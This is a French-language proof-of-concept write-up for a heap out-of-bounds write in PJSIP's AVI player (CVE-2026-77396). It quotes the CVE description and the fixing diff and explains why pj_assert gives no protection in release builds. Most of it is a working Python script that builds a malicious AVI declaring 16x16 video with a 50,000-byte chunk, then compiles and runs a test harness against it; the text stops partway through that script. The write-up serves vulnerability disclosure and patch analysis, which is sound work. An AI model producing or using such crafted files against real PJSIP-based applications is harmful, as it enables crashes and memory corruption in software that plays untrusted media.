
Preuve de concept qui fabrique un fichier AVI malveillant pour déclencher une écriture hors limites dans le tas dans le parseur AVI de PJSIP (CVE-2026-77396), avec vérification ASan et analyse du correctif.
Description NIST de la CVE :
PJSIP is a free and open source multimedia communication library written in C. In 2.17 and earlier, the PJSIP AVI parser
in pjmedia/src/pjmedia/avi_player.c uses an input-file video chunk length as the number of bytes copied into a frame
buffer whose capacity is derived from the declared media dimensions. A crafted AVI file can therefore cause an
attacker-controlled out-of-bounds write past the heap allocation when an application plays the file or pulls its frames.
The existing size assertion does not protect production release builds, where assertions are disabled. Typical local
playback can crash the process, while applications that accept untrusted AVI sources expose a stronger memory-corruption
condition. No fixed version is available as of this review.
diff que nous allons principalement examiner :
git diff 7ecc65849\^..7ecc65849 -- pjmedia/src/pjmedia/avi_player.c 12:57
diff --git a/pjmedia/src/pjmedia/avi_player.c b/pjmedia/src/pjmedia/avi_player.c
index af66be12f..1db41f719 100644
--- a/pjmedia/src/pjmedia/avi_player.c
+++ b/pjmedia/src/pjmedia/avi_player.c
@@ -1218,12 +1218,40 @@ static pj_status_t avi_get_frame(pjmedia_port *this_port,
goto on_error2;
fport->size_left -= size_to_read;
} else {
- pj_assert(frame->size >= ch.len);
- status = file_read3(fport->fd, frame->buf, ch.len,
+ pj_uint32_t read_len = ch.len;
+
+ /* Clamp the read to the frame buffer capacity. A crafted
+ * file may declare a chunk larger than the buffer, whose
+ * size is derived from the (also file-supplied) video
+ * dimensions; never write past frame->buf (frame->size
+ * bytes). Do not rely on pj_assert() here, as it is a no-op
+ * in release builds.
+ */
+ if (read_len > frame->size) {
+ PJ_LOG(3, (THIS_FILE,
+ "AVI video chunk (%u) exceeds frame buffer "
+ "(%u), truncating",
+ (unsigned)ch.len, (unsigned)frame->size));
+ read_len = (pj_uint32_t)frame->size;
+ }
+
+ status = file_read3(fport->fd, frame->buf, read_len,
0, &size_read);
if (status != PJ_SUCCESS)
goto on_error2;
- frame->size = ch.len;
+
+ /* Skip any remaining chunk bytes that did not fit, so the
+ * file position stays aligned to the next chunk.
+ */
+ if (ch.len > read_len) {
+ status = pj_file_setpos(fport->fd,
+ (pj_off_t)ch.len - read_len,
+ PJ_SEEK_CUR);
+ if (status != PJ_SUCCESS)
+ goto on_error2;
+ }
+
+ frame->size = read_len;
fport->size_left = 0;
}
la partie vulnérable, en substance :
pj_assert(frame->size >= ch.len);
status = file_read3(fport->fd, frame->buf, ch.len, 0, &size_read);
frame->size = ch.len;
ch est un en-tête de chunk lu depuis le fichier AVI ; il possède un champ len qui indique combien d'octets le chunk vidéo contient. frame->buf est un tampon alloué sur le tas en fonction des dimensions déclarées de la vidéo (largeur × hauteur × octets par pixel).
ceci est censé être une vérification : pj_assert(frame->size >= ch.len)
mais pj_assert est une opération sans effet dans les builds release/production. Donc dans tout déploiement réel, il n'y a aucune validation. Le code lit simplement ch.len octets directement dans frame->buf.
en termes simples, dans les builds debug : pj_assert(frame->size >= ch.len) ferait planter le programme si la condition est fausse. Dans les builds release : cette ligne disparaît, aucune vérification n'a lieu, et file_read3 écrit allègrement ch.len octets dans un tampon trop petit.
fabriquer un fichier AVI où :
L'en-tête du flux vidéo déclare de petites dimensions (disons 16×16) -< petite allocation de frame->buf Un chunk vidéo dans la section data déclare un ch.len important → file_read3 écrit bien au-delà du tampon
Exploit :
import struct, os, subprocess, sys, signal, glob, argparse
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PJPROJECT = os.path.join(SCRIPT_DIR, "pjproject")
AVI_FILE = os.path.join(SCRIPT_DIR, "crash.avi")
TEST_SRC = os.path.join(SCRIPT_DIR, "test_avi.c")
TEST_BIN = os.path.join(SCRIPT_DIR, "test_avi")
FIX_COMMIT = "7ecc6584969a923c4190b6912afbf5952b5a4b9f"
VID_W = 16
VID_H = 16
BPP = 24
OVERFLOW = 50000
def craft_avi(path):
# strf (BITMAPINFOHEADER)
strf = b'strf' + struct.pack('<II', 40, 40)
strf += struct.pack('<iiHH', VID_W, VID_H, 1, BPP)
strf += b'MJPG' + struct.pack('<I', 0)
strf += struct.pack('<iiII', 0, 0, 0, 0)
# strh (stream header)
strh = b'strh' + struct.pack('<I', 56)
strh += b'vids' + b'MJPG'
strh += struct.pack('<IIIIIIIIIII', 0, 0, 0, 1, 30, 0, 1, 0, 0, 0, 0)
strh += struct.pack('<II', 0, 0)
# strl LIST
strl_body = b'strl' + strh + strf
strl = b'LIST' + struct.pack('<I', len(strl_body)) + strl_body
# avih
avih = b'avih' + struct.pack('<I', 56)
avih += struct.pack('<IIIIIIII', 33333, 0, 0, 0, 1, 0, 1, 0)
avih += struct.pack('<II', VID_W, VID_H)
avih += struct.pack('<IIII', 0, 0, 0, 0)
# hdrl LIST
hdrl_body = b'hdrl' + avih + strl
hdrl = b'LIST' + struct.pack('<I', len(hdrl_body)) + hdrl_body
# movi LIST the oversized chunk
movi_body = b'movi' + b'00dc'
movi_body += struct.pack('<I', OVERFLOW)
movi_body += b'\x41' * OVERFLOW
movi = b'LIST' + struct.pack('<I', len(movi_body)) + movi_body
# RIFF wrapper
avi_body = b'AVI ' + hdrl + movi
riff = b'RIFF' + struct.pack('<I', len(avi_body)) + avi_body
with open(path, 'wb') as f:
f.write(riff)
buf_est = VID_W * VID_H * 4
print(f"[*] wrote {path} ({len(riff)} bytes)")
print(f"[*] video: {VID_W}x{VID_H} MJPG, buffer ~{buf_est} bytes, chunk {OVERFLOW} bytes")
def find_libs():
lib_files = []
for sub in ["pjlib/lib", "pjlib-util/lib", "pjmedia/lib",
"pjnath/lib", "third_party/lib"]:
d = os.path.join(PJPROJECT, sub)
if os.path.isdir(d):
lib_files.extend(sorted(glob.glob(os.path.join(d, "*.a"))))
return lib_files
def compile_test():
if not os.path.isfile(TEST_SRC):
print(f"[-] {TEST_SRC} not found"); return False
lib_files = find_libs()
if not lib_files:
print("[-] pjproject not built. see README"); return False
inc = [f"-I{PJPROJECT}/{d}/include" for d in
["pjlib", "pjlib-util", "pjmedia", "pjnath", "pjsip"]]
cmd = (["gcc", "-o", TEST_BIN, TEST_SRC] + inc
+ ["-Wl,--start-group"] + lib_files + ["-Wl,--end-group"]
+ ["-lasound", "-luuid", "-lm", "-lpthread", "-lSDL2", "-lv4l2"])
print(f"[*] compiling {os.path.basename(TEST_SRC)} ...")
r = subprocess.run(cmd, capture_output=True, text=True)
if r.returncode != 0:
print(f"[-] compile failed:\n{r.stderr}"); return False
print(f"[+] built {TEST_BIN}")
return True
def run_test():
if not os.path.isfile(TEST_BIN):
print("[-] test binary not found"); return
print(f"\n[*] running {os.path.basename(TEST_BIN)} {os.path.basename(AVI_FILE)}")
r = subprocess.run(
[TEST_BIN, AVI_FILE],
capture_output=True, text=True, timeout=10,
)
if r.stdout.strip():
print(r.stdout.strip())
if r.stderr.strip():
for line in r.stderr.strip().splitlines()[:15]:
print(line)